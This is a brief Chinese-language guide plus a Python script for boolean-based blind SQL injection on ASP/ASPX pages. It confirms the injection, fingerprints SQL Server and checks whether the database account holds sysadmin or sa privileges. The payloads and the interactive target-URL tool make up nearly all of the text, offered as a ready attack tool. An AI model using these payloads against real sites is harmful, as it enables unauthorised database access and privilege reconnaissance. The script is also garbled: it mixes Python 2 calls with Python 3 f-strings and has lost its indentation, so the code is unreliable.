針對帶有 SQL Injection 點的 ASP/ASPX 頁面,透過布林盲注 (Boolean-based Blind) 逐步判斷:
...id=1 AND 1=1 (正常) vs ...id=1 AND 1=2 (異常),比較頁面特徵字串是否出現。AND EXISTS (SELECT * FROM sysobjects) 僅 SQL Server 有此系統表。AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))。AND 'sa'=(SELECT SYSTEM_USER)。#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, urllib, re
def fetch(url):
try:
return urllib.urlopen(url).read()
except Exception as e:
print(f"[ERROR] Request failed: {e}")
return ''
def check_injection(base_url, marker):
url_true = base_url + "%20and%201=1"
url_false = base_url + "%20and%201=2"
html_true = fetch(url_true)
html_false = fetch(url_false)
if marker in html_true and marker not in html_false:
print("[INFO] Injection confirmed!")
return True
print("[ERROR] Injection not detected.")
return False
def check_sql_server(base_url, marker):
url = base_url + "%20and%20exists%20(select%20*%20from%20sysobjects)"
if marker in fetch(url):
print("[INFO] Confirmed SQL Server.")
return True
print("[ERROR] Not SQL Server.")
return False
def check_sysadmin(base_url, marker):
url = base_url + "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"
if marker in fetch(url):
print("[INFO] Current user has sysadmin role.")
return True
print("[ERROR] No sysadmin role.")
return False
def check_sa(base_url, marker):
url = base_url + "%20and%20'sa'=(select%20SYSTEM_USER)"
if marker in fetch(url):
print("[SUCCESS] Current user is SA!")
return True
print("[ERROR] Current user is NOT SA.")
return False
def main():
print("="*60)
print(" SQL Server Blind Injection SA Detector")
print("="*60)
url = raw_input("[INPUT] Target URL (e.g. https://site.com/page.asp?id=1): ").strip()
if not url:
print("[ERROR] URL required."); sys.exit(1)
marker = raw_input("[INPUT] Unique marker string in normal page: ").strip()
if not marker:
print("[ERROR] Marker required."); sys.exit(1)
if check_injection(url, marker):
if check_sql_server(url, marker):
if check_sysadmin(url, marker):
check_sa(url, marker)
if __name__ == '__main__':
main()